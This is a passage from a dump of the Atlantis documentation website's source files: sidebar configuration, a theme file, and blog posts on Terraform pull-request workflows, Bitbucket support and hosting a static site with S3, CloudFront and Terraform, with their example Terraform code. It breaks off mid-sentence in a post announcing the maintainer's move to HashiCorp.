    "content": "const en = [\n  {\n    text: \"Guide\",\n    link: \"/guide\",\n    collapsed: false,\n    items: [\n      { text: \"Test Drive\", link: \"/guide/test-drive\" },\n      { text: \"Testing locally\", link: \"/guide/testing-locally\" },\n    ],\n  },\n  {\n    text: \"Docs\",\n    link: \"/docs\",\n    collapsed: true,\n    items: [\n      {\n        text: \"Installing Atlantis\",\n        collapsed: true,\n        items: [\n          { text: \"Installing Guide\", link: \"/docs/installation-guide\" },\n          { text: \"Requirements\", link: \"/docs/requirements\" },\n          { text: \"Git Host Access Credentials\", link: \"/docs/access-credentials\" },\n          { text: \"Webhook Secrets\", link: \"/docs/webhook-secrets\" },\n          { text: \"Deployment\", link: \"/docs/deployment\" },\n          { text: \"Configuring Webhooks\", link: \"/docs/configuring-webhooks\" },\n          { text: \"Provider Credentials\", link: \"/docs/provider-credentials\" },\n        ]\n      },\n      {\n        text: \"Configuring Atlantis\",\n        collapsed: true,\n        items: [\n          { text: \"Overview\", link: \"/docs/configuring-atlantis\" },\n          { text: \"Server Configuration\", link: \"/docs/server-configuration\" },\n          { text: \"Server Side Repo Config\", link: \"/docs/server-side-repo-config\" },\n          { text: \"Pre Workflow Hooks\", link: \"/docs/pre-workflow-hooks\" },\n          { text: \"Post Workflow Hooks\", link: \"/docs/post-workflow-hooks\" },\n          { text: \"Conftest Policy Checking\", link: \"/docs/policy-checking\" },\n          { text: \"Custom Workflows\", link: \"/docs/custom-workflows\" },\n          { text: \"Repo and Project Permissions\", link: \"/docs/repo-and-project-permissions\" },\n          { text: \"Repo Level atlantis.yaml\", link: \"/docs/repo-level-atlantis-yaml\" },\n          { text: \"Upgrading atlantis.yaml\", link: \"/docs/upgrading-atlantis-yaml\" },\n          { text: \"Command Requirements\", link: \"/docs/command-requirements\" },\n          { text: \"Checkout Strategy\", link: \"/docs/checkout-strategy\" },\n          { text: \"Terraform Versions\", link: \"/docs/terraform-versions\" },\n          { text: \"Terraform Cloud\", link: \"/docs/terraform-cloud\" },\n          { text: \"Sending Notifications via Webhooks\", link: \"/docs/sending-notifications-via-webhooks\" },\n          { text: \"Stats\", link: \"/docs/stats\" },\n          { text: \"FAQ\", link: \"/docs/faq\" },\n        ]\n      },\n      {\n        text: \"Using Atlantis\",\n        collapsed: true,\n        items: [\n          { text: \"Overview\", link: \"/docs/using-atlantis\" },\n          { text: \"API endpoints\", link: \"/docs/api-endpoints\" },\n        ]\n      },\n      {\n        text: 'How Atlantis Works',\n        collapsed: true,\n        items: [\n          { text: 'Overview', link: '/docs/how-atlantis-works', },\n          { text: 'Locking', link: '/docs/locking', },\n          { text: 'Autoplanning', link: '/docs/autoplanning', },\n          { text: 'Automerging', link: '/docs/automerging', },\n          { text: 'Security', link: '/docs/security', },\n        ]\n      },\n      {\n        text: 'Real-time Terraform Logs',\n        link: '/docs/streaming-logs',\n      },\n      {\n        text: 'Troubleshooting',\n        collapsed: true,\n        items: [\n          { text: 'HTTPS, SSL, TLS', 'link': '/docs/troubleshooting-https', },\n        ]\n      },\n    ],\n  },\n  {\n    text: \"Contributing\",\n    link: \"/contributing\",\n    collapsed: false,\n    items: [\n      {\n        text: 'Implementation Details',\n        items: [\n          { text: \"Events Controller\", link: \"/contributing/events-controller\" },\n        ]\n      },\n      { text: \"Glossary\", link: \"/contributing/glossary\" },\n    ]\n\n  },\n  {\n    text: \"Blog\",\n    link: \"/blog\",\n    collapsed: false,\n    items: [\n      {\n        text: \"2025\",\n        collapsed: true,\n        items: [\n          {\n            text: \"Atlantis on Google Cloud Run\",\n            link: \"/blog/2025/atlantis-on-google-cloud-run\"\n          },\n        ]\n      },\n      {\n        text: \"2024\",\n        collapsed: true,\n        items: [\n          {\n            text: \"Integrating Atlantis with OpenTofu\",\n            link: \"/blog/2024/integrating-atlantis-with-opentofu\"\n          },\n          {\n            text: \"Atlantis User Survey Results\",\n            link: \"/blog/2024/april-2024-survey-results\"\n          },\n        ]\n      },\n      {\n        text: \"2019\",\n        collapsed: true,\n        items: [\n          {\n            text: \"4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage\",\n            link: \"/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage\"\n          },\n        ]\n      },\n      {\n        text: \"2018\",\n        collapsed: true,\n        items: [\n          {\n            text: \"I'm Joining HashiCorp!\",\n            link: \"/blog/2018/joining-hashicorp\"\n          },\n          {\n            text: \"Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too\",\n            link: \"/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too\"\n          },\n          {\n            text: \"Atlantis 0.4.4 Now Supports Bitbucket\",\n            link: \"/blog/2018/atlantis-0-4-4-now-supports-bitbucket\"\n          },\n          {\n            text: \"Terraform And The Dangers Of Applying Locally\",\n            link: \"/blog/2018/terraform-and-the-dangers-of-applying-locally\"\n          },\n          {\n            text: \"Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform\",\n            link: \"/blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform\"\n          },\n        ]\n      },\n      {\n        text: \"2017\",\n        collapsed: true,\n        items: [\n          { text: \"Introducing Atlantis\", link: \"/blog/2017/introducing-atlantis\" },\n        ]\n      },\n    ]\n  }\n]\n\nexport { en }\n"
  },
  {
    "path": "runatlantis.io/.vitepress/theme/index.ts",
    "content": "import DefaultTheme from \"vitepress/theme\";\nimport { defineAsyncComponent, h } from 'vue';\n\nexport default {\n  ...DefaultTheme,\n  Layout() {\n    return h(DefaultTheme.Layout, null, {\n      'layout-top': () => h(defineAsyncComponent(() => import('../components/Banner.vue')))\n    });\n  }\n};\n"
  },
  {
    "path": "runatlantis.io/blog/2017/introducing-atlantis.md",
    "content": "---\ntitle: Introducing Atlantis\nlang: en-US\n---\n\n# Introducing Atlantis\n\n::: info\nThis post was originally written on September 11th, 2017\n\nOriginal post: <https://medium.com/runatlantis/introducing-atlantis-6570d6de7281>\n:::\n\nWe're very excited to announce the open source release of Atlantis! Atlantis is a tool for\ncollaborating on Terraform that's been in use at Hootsuite for over a year. The core\nfunctionality of Atlantis enables developers and operators to run `terraform plan` and\n`apply` directly from Terraform pull requests. Atlantis then comments back on the pull\nrequest with the output of the commands:\n\n![](intro/intro1.gif)\n\nThis is a simple feature, however it has had a massive effect on how our team writes Terraform.\nBy bringing a Terraform workflow to pull requests, Atlantis helped our Ops team collaborate\nbetter on Terraform and also enabled our entire development team to write and execute Terraform safely.\n\nAtlantis was built to solve two problems that arose at Hootsuite as we adopted Terraform:\n\n### 1. Effective Collaboration\n\nWhat's the best way to collaborate on Terraform in a team setting?\n\n### 2. Developers Writing Terraform\n\nHow can we enable our developers to write and apply Terraform safely?\n\n## Effective Collaboration\n\nWhen writing Terraform, there are a number of workflows you can follow. The simplest workflow is just using `master`:\n\n![](intro/intro2.webp)\n\nIn this workflow, you work on `master` and run `terraform` locally.\nThe problem with this workflow is that there is no collaboration or code review.\nSo we start to use pull requests:\n\n![](intro/intro3.webp)\n\nWe still run `terraform plan` locally, but once we're satisfied with the changes we create a pull request for review. When the pull request is approved, we run `apply` locally.\n\nThis workflow is an improvement, but there are still problems. The first problem is that it's hard to review just the diff on the pull request. To properly review a change, you really need to see the output from `terraform plan`.\n\n![](intro/intro4.webp)\n\nWhat looks like a small change...\n\n![](intro/intro5.webp)\n\n...can have a big plan\n\nThe second problem is that now it's easy for `master` to get out of sync with what's actually been applied. This can happen if you merge a pull request without running `apply` or if the `apply` has an error halfway through, you forget to fix it and then you merge to `master`. Now what's in `master` isn't actually what's running on production. At best, this causes confusion the next time someone runs `terraform plan`. At worst, it causes an outage when someone assumes that what's in `master` is actually running, and depends on it.\n\nWith the Atlantis workflow, these problems are solved:\n\n![](intro/intro6.webp)\n\nNow it's easy to review changes because you see the `terraform plan` output on the pull request.\n\n![](intro/intro7.webp)\n\nPull requests are easy to review since you can see the plan\n\nIt's also easy to ensure that the pull request is `terraform apply`'d before merging to master because you can see the actual `apply` output on the pull request.\n\n![](intro/intro8.webp)\n\nSo, Atlantis makes working on Terraform within an operations team much easier, but how does it help with getting your whole team to write Terraform?\n\n## Developers Writing Terraform\n\nTerraform usually starts out being used by the Ops team. As a result of using Terraform, the Ops team becomes much faster at making infrastructure changes, but the way developers request those changes remains the same: they use a ticketing system or chat to ask operations for help, the request goes into a queue and later Ops responds that the task is complete.\n\nSoon however, the Ops team starts to realize that it's possible for developers to make some of these Terraform changes themselves! There are some problems that arise though:\n\n- Developers don't have the credentials to actually run Terraform commands\n- If you give them credentials, it's hard to review what is actually being applied\n\nWith Atlantis, these problems are solved. All `terraform plan` and `apply` commands are run from the pull request. This means developers don't need to have any credentials to run Terraform locally. Of course, this can be dangerous: how can you ensure developers (who might be new to Terraform) aren't applying things they shouldn't? The answer is code reviews and approvals.\n\nSince Atlantis comments back with the `plan` output directly on the pull request, it's easy for an operations engineer to review exactly what changes will be applied. And Atlantis can run in `require-approval` mode, that will require a GitHub pull request approval before allowing `apply` to be run:\n\n![](intro/intro9.webp)\n\nWith Atlantis, developers are able to write and apply Terraform safely. They submit pull requests, can run `atlantis plan` until their change looks good and then get approval from Ops to `apply`.\n\nSince the introduction of Atlantis at Hootsuite, we've had **78** contributors to our Terraform repositories, **58** of whom are developers (**75%**).\n\n## Where we are now\n\nSince the introduction of Atlantis at Hootsuite we've grown to 144 Terraform repositories [^1] that manage thousands of Amazon resources. Atlantis is used for every single Terraform change throughout our organization.\n\n## Getting started with Atlantis\n\nIf you'd like to try out Atlantis for your team you can download the latest release from <https://github.com/runatlantis/atlantis/releases>. If you run `atlantis testdrive` you can get started in less than 5 minutes. To read more about Atlantis go to <https://www.runatlantis.io/>.\n\nCheck out our video for more information:\n\n<iframe src=\"https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FTmIPWda0IKg%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DTmIPWda0IKg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FTmIPWda0IKg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube\" allowfullscreen=\"\" frameborder=\"0\" height=\"480\" width=\"640\" title=\"Atlantis Walkthrough\" class=\"fr n gh dv bg\" scrolling=\"no\"></iframe>\n\n[^1]: We split our Terraform up into multiple states, each with its own repository (see [1], [2], [3]).\n\n[1]: https://blog.gruntwork.io/how-to-manage-terraform-state-28f5697e68fa\n[2]: https://charity.wtf/2016/03/30/terraform-vpc-and-why-you-want-a-tfstate-file-per-env/\n[3]: https://www.nclouds.com/blog/terraform-multi-state-management/\n"
  },
  {
    "path": "runatlantis.io/blog/2018/atlantis-0-4-4-now-supports-bitbucket.md",
    "content": "---\ntitle: Atlantis 0.4.4 Now Supports Bitbucket\nlang: en-US\n---\n\n# Atlantis 0.4.4 Now Supports Bitbucket\n\n::: info\nThis post was originally written on July 25th, 2018\n\nOriginal post: <https://medium.com/runatlantis/atlantis-0-4-4-now-supports-bitbucket-86c53a550b45>\n:::\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic1.webp)\n\nAtlantis is an [open source](https://github.com/runatlantis/atlantis) platform for using Terraform in teams. I'm happy to announce that the [latest release](https://github.com/runatlantis/atlantis/releases) of Atlantis (0.4.4) now supports both Bitbucket Cloud (bitbucket.org) **and** Bitbucket Server (aka Stash).\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic2.gif)\n\nAtlantis now supports the three major Git hosts: GitHub, GitLab and Bitbucket. The rest of this post will talk about how to use Atlantis with Bitbucket.\n\n## What is Atlantis?\n\nAtlantis is a self-hosted application that listens for Terraform pull request events via webhooks. It runs `terraform plan` and `apply` remotely and comments back on the pull request with the output.\n\nWith Atlantis, you collaborate on the Terraform pull request itself instead of running `terraform apply` from your own computers which can be dangerous:\n\nCheck out <www.runatlantis.io> for more information.\n\n## Getting Started\n\nThe easiest way to try out Atlantis with Bitbucket is to run Atlantis locally on your own computer. Eventually you'll want to deploy it as a standalone app but this is the easiest way to try it out. Follow [these instructions](https://www.runatlantis.io/guide/getting-started.html) to get Atlantis running locally.\n\nCreate a Pull Request\nIf you've got the Atlantis webhook configured for your repository and Atlantis is running, it's time to create a new pull request. I recommend adding a `null_resource` to one of your Terraform files for the the test pull request. It won't actually create anything so it's safe to use as a test.\n\nUsing the web editor, open up one of your Terraform files and add:\n\n```tf\nresource \"null_resource\" \"example\" {}\n```\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic3.webp)\n\nClick Commit and select **Create a pull request for this change**.\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic4.webp)\n\nWait a few seconds and then refresh. Atlantis should have automatically run `terraform plan` and commented back on the pull request:\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic5.webp)\n\nNow it's easier for your colleagues to review the pull request because they can see the `terraform plan` output.\n\n### Terraform Apply\n\nSince all we're doing is adding a null resource, I think it's safe to run `terraform apply`. To do so, I add a comment to the pull request: `atlantis apply`:\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic6.webp)\n\nAtlantis is listening for pull request comments and will run `terraform apply` remotely and comment back with the output:\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic7.webp)\n\n### Pull Request Approvals\n\nIf you don't want anyone to be able to `terraform apply`, you can run Atlantis with `--require-approval` or add that setting to your [atlantis.yaml file](https://www.runatlantis.io/docs/command-requirements.html#approved).\n\nThis will ensure that the pull request has been approved before someone can run `apply`.\n\n## Other Features\n\n### Customizable Commands\n\nApart from being able to `plan` and `apply` from the pull request, Atlantis also enables you to customize the exact commands that are run via an `atlantis.yaml` config file. For example to use the `-var-file` flag:\n\n```yaml{14}\n# atlantis.yaml\nversion: 2\nprojects:\n- name: staging\n  dir: \".\"\n  workflow: staging\n\nworkflows:\n  staging:\n    plan:\n      steps:\n      - init\n      - plan:\n          extra_args: [\"-var-file\", \"staging.tfvars\"]\n```\n\n### Locking For Coordination\n\n![](atlantis-0-4-4-now-supports-bitbucket/pic8.webp)\n\nAtlantis will prevent other pull requests from running against the same directory as an open pull request so that each plan is applied atomically. Once the first pull request is merged, other pull requests are unlocked.\n\n## Next Steps\n\nIf you're interested in using Atlantis with Bitbucket, check out our Getting Started docs. Happy Terraforming!\n"
  },
  {
    "path": "runatlantis.io/blog/2018/hosting-our-static-site/code/cloudfront.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"www_distribution\" {\n  // origin is where CloudFront gets its content from.\n  origin {\n    // We need to set up a \"custom\" origin because otherwise CloudFront won't\n    // redirect traffic from the root domain to the www domain, that is from\n    // runatlantis.io to www.runatlantis.io.\n    custom_origin_config {\n      // These are all the defaults.\n      http_port              = \"80\"\n      https_port             = \"443\"\n      origin_protocol_policy = \"http-only\"\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n\n    // Here we're using our S3 bucket's URL!\n    domain_name = \"${aws_s3_bucket.www.website_endpoint}\"\n    // This can be any name to identify this origin.\n    origin_id   = \"${var.www_domain_name}\"\n  }\n\n  enabled             = true\n  default_root_object = \"index.html\"\n\n  // All values are defaults from the AWS console.\n  default_cache_behavior {\n    viewer_protocol_policy = \"redirect-to-https\"\n    compress               = true\n    allowed_methods        = [\"GET\", \"HEAD\"]\n    cached_methods         = [\"GET\", \"HEAD\"]\n    // This needs to match the `origin_id` above.\n    target_origin_id       = \"${var.www_domain_name}\"\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n  }\n\n  // Here we're ensuring we can hit this distribution using www.runatlantis.io\n  // rather than the domain name CloudFront gives us.\n  aliases = [\"${var.www_domain_name}\"]\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  // Here's where our certificate is loaded in!\n  viewer_certificate {\n    acm_certificate_arn = \"${aws_acm_certificate.certificate.arn}\"\n    ssl_support_method  = \"sni-only\"\n  }\n}\n"
  },
  {
    "path": "runatlantis.io/blog/2018/hosting-our-static-site/code/dns.tf",
    "content": "// We want AWS to host our zone so its nameservers can point to our CloudFront\n// distribution.\nresource \"aws_route53_zone\" \"zone\" {\n  name = \"${var.root_domain_name}\"\n}\n\n// This Route53 record will point at our CloudFront distribution.\nresource \"aws_route53_record\" \"www\" {\n  zone_id = \"${aws_route53_zone.zone.zone_id}\"\n  name    = \"${var.www_domain_name}\"\n  type    = \"A\"\n\n  alias = {\n    name                   = \"${aws_cloudfront_distribution.www_distribution.domain_name}\"\n    zone_id                = \"${aws_cloudfront_distribution.www_distribution.hosted_zone_id}\"\n    evaluate_target_health = false\n  }\n}\n"
  },
  {
    "path": "runatlantis.io/blog/2018/hosting-our-static-site/code/full.tf",
    "content": "resource \"aws_s3_bucket\" \"root\" {\n  bucket = \"${var.root_domain_name}\"\n  acl    = \"public-read\"\n  policy = <<POLICY\n{\n  \"Version\":\"2012-10-17\",\n  \"Statement\":[\n    {\n      \"Sid\":\"AddPerm\",\n      \"Effect\":\"Allow\",\n      \"Principal\": \"*\",\n      \"Action\":[\"s3:GetObject\"],\n      \"Resource\":[\"arn:aws:s3:::${var.root_domain_name}/*\"]\n    }\n  ]\n}\nPOLICY\n\n  website {\n    // Note this redirect. Here's where the magic happens.\n    redirect_all_requests_to = \"https://${var.www_domain_name}\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"root_distribution\" {\n  origin {\n    custom_origin_config {\n      http_port              = \"80\"\n      https_port             = \"443\"\n      origin_protocol_policy = \"http-only\"\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n    domain_name = \"${aws_s3_bucket.root.website_endpoint}\"\n    origin_id   = \"${var.root_domain_name}\"\n  }\n\n  enabled             = true\n  default_root_object = \"index.html\"\n\n  default_cache_behavior {\n    viewer_protocol_policy = \"redirect-to-https\"\n    compress               = true\n    allowed_methods        = [\"GET\", \"HEAD\"]\n    cached_methods         = [\"GET\", \"HEAD\"]\n    target_origin_id       = \"${var.root_domain_name}\"\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n  }\n\n  aliases = [\"${var.root_domain_name}\"]\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    acm_certificate_arn = \"${aws_acm_certificate.certificate.arn}\"\n    ssl_support_method  = \"sni-only\"\n  }\n}\n\nresource \"aws_route53_record\" \"root\" {\n  zone_id = \"${aws_route53_zone.zone.zone_id}\"\n\n  // NOTE: name is blank here.\n  name = \"\"\n  type = \"A\"\n\n  alias = {\n    name                   = \"${aws_cloudfront_distribution.root_distribution.domain_name}\"\n    zone_id                = \"${aws_cloudfront_distribution.root_distribution.hosted_zone_id}\"\n    evaluate_target_health = false\n  }\n}\n"
  },
  {
    "path": "runatlantis.io/blog/2018/hosting-our-static-site/code/main.tf",
    "content": "// This block tells Terraform that we're going to provision AWS resources.\nprovider \"aws\" {\n  region = \"us-east-1\"\n}\n\n// Create a variable for our domain name because we'll be using it a lot.\nvariable \"www_domain_name\" {\n  default = \"www.runatlantis.io\"\n}\n\n// We'll also need the root domain (also known as zone apex or naked domain).\nvariable \"root_domain_name\" {\n  default = \"runatlantis.io\"\n}\n"
  },
  {
    "path": "runatlantis.io/blog/2018/hosting-our-static-site/code/s3-bucket.tf",
    "content": "resource \"aws_s3_bucket\" \"www\" {\n  // Our bucket's name is going to be the same as our site's domain name.\n  bucket = \"${var.www_domain_name}\"\n  // Because we want our site to be available on the internet, we set this so\n  // anyone can read this bucket.\n  acl    = \"public-read\"\n  // We also need to create a policy that allows anyone to view the content.\n  // This is basically duplicating what we did in the ACL but it's required by\n  // AWS. This post: http://amzn.to/2Fa04ul explains why.\n  policy = <<POLICY\n{\n  \"Version\":\"2012-10-17\",\n  \"Statement\":[\n    {\n      \"Sid\":\"AddPerm\",\n      \"Effect\":\"Allow\",\n      \"Principal\": \"*\",\n      \"Action\":[\"s3:GetObject\"],\n      \"Resource\":[\"arn:aws:s3:::${var.www_domain_name}/*\"]\n    }\n  ]\n}\nPOLICY\n\n  // S3 understands what it means to host a website.\n  website {\n    // Here we tell S3 what to use when a request comes in to the root\n    // ex. https://www.runatlantis.io\n    index_document = \"index.html\"\n    // The page to serve up if a request results in an error or a non-existing\n    // page.\n    error_document = \"404.html\"\n  }\n}\n"
  },
  {
    "path": "runatlantis.io/blog/2018/hosting-our-static-site/code/ssl-cert.tf",
    "content": "// Use the AWS Certificate Manager to create an SSL cert for our domain.\n// This resource won't be created until you receive the email verifying you\n// own the domain and you click on the confirmation link.\nresource \"aws_acm_certificate\" \"certificate\" {\n  // We want a wildcard cert so we can host subdomains later.\n  domain_name       = \"*.${var.root_domain_name}\"\n  validation_method = \"EMAIL\"\n\n  // We also want the cert to be valid for the root domain even though we'll be\n  // redirecting to the www. domain immediately.\n  subject_alternative_names = [\"${var.root_domain_name}\"]\n}\n"
  },
  {
    "path": "runatlantis.io/blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md",
    "content": "---\ntitle: Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform\nlang: en-US\n---\n\n# Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform\n\n::: info\nThis post was originally written on March 4, 2018\n\nOriginal post: <https://medium.com/runatlantis/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform-513b799aec0f>\n:::\n\nIn this post I cover how I hosted <www.runatlantis.io> using\n\n- S3 — for storing the static site\n- CloudFront — for serving the static site over SSL\n- AWS Certificate Manager — for generating the SSL certificates\n- Route53 — for routing the domain name <www.runatlantis.io> to the correct location\n\nI chose Terraform in this case because Atlantis is a tool for automating and collaborating on Terraform in a team (see github.com/runatlantis/atlantis)–and so obviously it made sense to host our homepage using Terraform–but also because it's now much easier to manage. I don't have to go into the AWS console and click around to find what settings I want to change. Instead I can just look at ~100 lines of code, make a change, and run `terraform apply`.\n\n::: info\nNOTE: 4 months after this writing, I moved the site to [Netlify](https://www.netlify.com/) because it automatically builds from my master branch on any change, updates faster since I don't need to wait for the Cloudfront cache to expire and gives me [deploy previews](https://www.netlify.com/blog/2016/07/20/introducing-deploy-previews-in-netlify/) of changes. The DNS records are still hosted on AWS.\n:::\n\n# Overview\n\nThere's a surprising number of components required to get all this working so I'm going to start with an overview of what they're all needed for. Here's what the final architecture looks like:\n\n![](hosting-our-static-site/pic1.webp)\n\nThat's what the final product looks like, but lets start with the steps required to get there.\n\n## Step 1 — Generate The Site\n\nThe first step is to have a site generated. Our site uses [Hugo](https://gohugo.io/), a Golang site generator. Once it's set up, you just need to run `hugo` and it will generate a directory with HTML and all your content ready to host.\n\n## Step 2 — Host The Content\n\nOnce you've got a website, you need it to be accessible on the internet. I used S3 for this because it's dirt cheap and it integrates well with all the other necessary components. I simply upload my website folder to the S3 bucket.\n\n## Step 3 — Generate an SSL Certificate\n\nI needed to generate an SSL certificate for <https://www.runatlantis.io>. I used the AWS Certificate Manager for this because it's free and is easily integrated with the rest of the system.\n\n## Step 4 — Set up DNS\n\nBecause I'm going to host the site on AWS services, I need requests to <www.runatlantis.io> to be routed to those services. Route53 is the obvious solution.\n\n## Step 5 — Host with CloudFront\n\nAt this point, we've generated an SSL certificate for <www.runatlantis.io> and our website is available on the internet via its S3 url so can't we just CNAME to the S3 bucket and call it a day? Unfortunately not.\n\nSince we generated our own certificate, we would need S3 to sign its responses using our certificate. S3 doesn't support this and thus we need CloudFront. CloudFront supports using our own SSL cert and will just pull its data from the S3 bucket.\n\n# Terraform Time\n\nNow that we know what our architecture should look like, it's simply a matter of writing the Terraform.\n\n## Initial Setup\n\nCreate a new file `main.tf`:\n\n@include: ./publichosting-our-static-site/code/main.tf\n\n## S3 Bucket\n\nAssuming we've generated our site content already, we need to create an S3 bucket to host the content.\n\n@include: /publichosting-our-static-site/code/s3-bucket.tf\n\nWe should be able to run Terraform now to create the S3 bucket\n\n```sh\nterraform init\n`terraform apply`\n```\n\n![](hosting-our-static-site/pic2.webp)\n\nNow we want to upload our content to the S3 bucket:\n\n```sh\n$ cd dir/with/website\n# generate the HTML\n$ hugo -d generated\n$ cd generated\n# send it to our S3 bucket\n$ aws s3 sync . s3://www.runatlantis.io/ # change this to your bucket\n```\n\nNow we need the S3 url to see our content:\n\n```sh\n$ terraform state show aws_s3_bucket.www | grep website_endpoint\nwebsite_endpoint                       = www.runatlantis.io.s3-website-us-east-1.amazonaws.com\n```\n\nYou should see your site hosted at that url!\n\n## SSL Certificate\n\nLet's use the AWS Certificate Manager to create our SSL certificate.\n\n@include hosting-our-static-site/code/ssl-cert.tf\n\nBefore you run `terraform apply`, ensure you're forwarding any of\n\n- `administrator@your_domain_name`\n- `hostmaster@your_domain_name`\n- `postmaster@your_domain_name`\n- `webmaster@your_domain_name`\n- `admin@your_domain_name`\n\nTo an email address you can access. Then, run `terraform apply` and you should get an email from AWS to confirm you own this domain where you'll need to click on the link.\n\n## CloudFront\n\nNow we're ready for CloudFront to host our website using the S3 bucket for the content and using our SSL certificate. Warning! There's a lot of code ahead but most of it is just defaults.\n\n@include: hosting-our-static-site/code/cloudfront.tf\n\nApply the changes with `terraform apply` and then find the domain name that CloudFront gives us:\n\n```sh\n$ terraform state show aws_cloudfront_distribution.www_distribution | grep ^domain_name\ndomain_name                                                                                          = d1l8j8yicxhafq.cloudfront.net\n```\n\nYou'll probably get an error if you go to that URL right away. You need to wait a couple minutes for CloudFront to set itself up. It took me 10 minutes. You can view its progress in the console: <https://console.aws.amazon.com/cloudfront/home>\n\n## DNS\n\nWe're almost done! We've got CloudFront hosting our site, now we need to point our DNS at it.\n\n@include: hosting-our-static-site/code/dns.tf\n\nIf you bought your domain from somewhere else like Namecheap, you'll need to point your DNS at the nameservers listed in the state for the Route53 zone you created. First `terraform apply` (which may take a while), then find out your nameservers.\n\n```sh\n$ terraform state show aws_route53_zone.zone\nid             = Z2FNAJGFW912JG\ncomment        = Managed by Terraform\nforce_destroy  = false\nname           = runatlantis.io\nname_servers.# = 4\nname_servers.0 = ns-1349.awsdns-40.org\nname_servers.1 = ns-1604.awsdns-08.co.uk\nname_servers.2 = ns-412.awsdns-51.com\nname_servers.3 = ns-938.awsdns-53.net\ntags.%         = 0\nzone_id        = Z2FNAJGFW912JG\n```\n\nThen look at your domain's docs for how to change your nameservers to all 4 listed.\n\n## That's it...?\n\nOnce the DNS propagates you should see your site at `https://www.yourdomain`! But what about `https://yourdomain`? i.e. without the `www.`? Shouldn't this redirect to `https://www.yourdomain`?\n\n## Root Domain\n\nIt turns out, we need to create a whole new S3 bucket, CloudFront distribution and Route53 record just to get this to happen. That's because although S3 can serve up a redirect to the www version of your site, it can't host SSL certs and so you need CloudFront. I've included all the terraform necessary for that below.\n\nCongrats! You're done!\n\n<iframe src=\"https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fl0MYt5jPR6QX5pnqM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fl0MYt5jPR6QX5pnqM%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2Fl0MYt5jPR6QX5pnqM%2Fgiphy.gif&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;type=text%2Fhtml&amp;schema=giphy\" allowfullscreen=\"\" frameborder=\"0\" height=\"244\" width=\"435\" title=\"The Office Party Hard GIF - Find &amp; Share on GIPHY\" class=\"fr n gh dv bg\" scrolling=\"no\"></iframe>\n\nIf you're using Terraform in a team, check out Atlantis: <https://github.com/runatlantis/atlantis> for automation and collaboration to make your team happier!\n\nHere's the Terraform needed to redirect your root domain:\n\n@include: hosting-our-static-site/code/full.tf\n"
  },
  {
    "path": "runatlantis.io/blog/2018/joining-hashicorp.md",
    "content": "---\ntitle: I'm Joining HashiCorp!\nlang: en-US\n---\n\n# I'm Joining HashiCorp\n\n::: info\nThis post was originally written on October 23th, 2018\n\nOriginal post: <https://medium.com/runatlantis/joining-hashicorp-200ee9572dc5>\n:::\n\nDear Atlantis Community,\n\nMy name is Luke and I'm the maintainer of [Atlantis](https://www.runatlantis.io/), an open source tool for Terraform collaboration. Today I'm excited to announce that I'm joining HashiCorp!\n\n![](joining-hashicorp/pic1.webp)\n\n## What Does This Mean For Atlantis?\n\nIn the near term, nothing will change for Atlantis and its users. As a HashiCorp employee I will continue to maintain Atlantis, review pull requests, triage issues, and write code.\n\nIn the long term, HashiCorp and I want to address collaboration workflows for all users of Terraform. We are still working out the details of how Atlantis will fit into the longer term plan, but whatever direction we take, we're committed to keeping Atlantis free and open source.\n\n## HashiCorp and Atlantis\n\nWhy does HashiCorp want to support Atlantis?\n\nToday HashiCorp [announced their commitment to provide collaboration solutions to the whole Terraform community](https://www.hashicorp.com/blog/terraform-collaboration-for-everyone). They see the Atlantis project as one manifestation of this vision and understand its importance to many in the Terraform community. They believe that by working together, we can create a solution that will scale from a single user to hundreds of collaborators in a large organization.\n\n## Why am I joining?\n\nThose of you who know me, may wonder why I made this decision. It came down to wanting to continue working on Atlantis–and the larger story of Terraform collaboration–and finding a way to support myself.\n\nIn January, 9 months ago, I quit my job at Hootsuite to work **full time** on Atlantis (Atlantis was originally created at Hootsuite by my friend [Anubhav Mishra](https://twitter.com/anubhavm)). I left because I knew that the Terraform community was in need of a solution for collaboration and that with full time development, Atlantis could be that solution.\n\nDuring the last 9 months, Atlantis matured into a fully fledged collaboration solution and 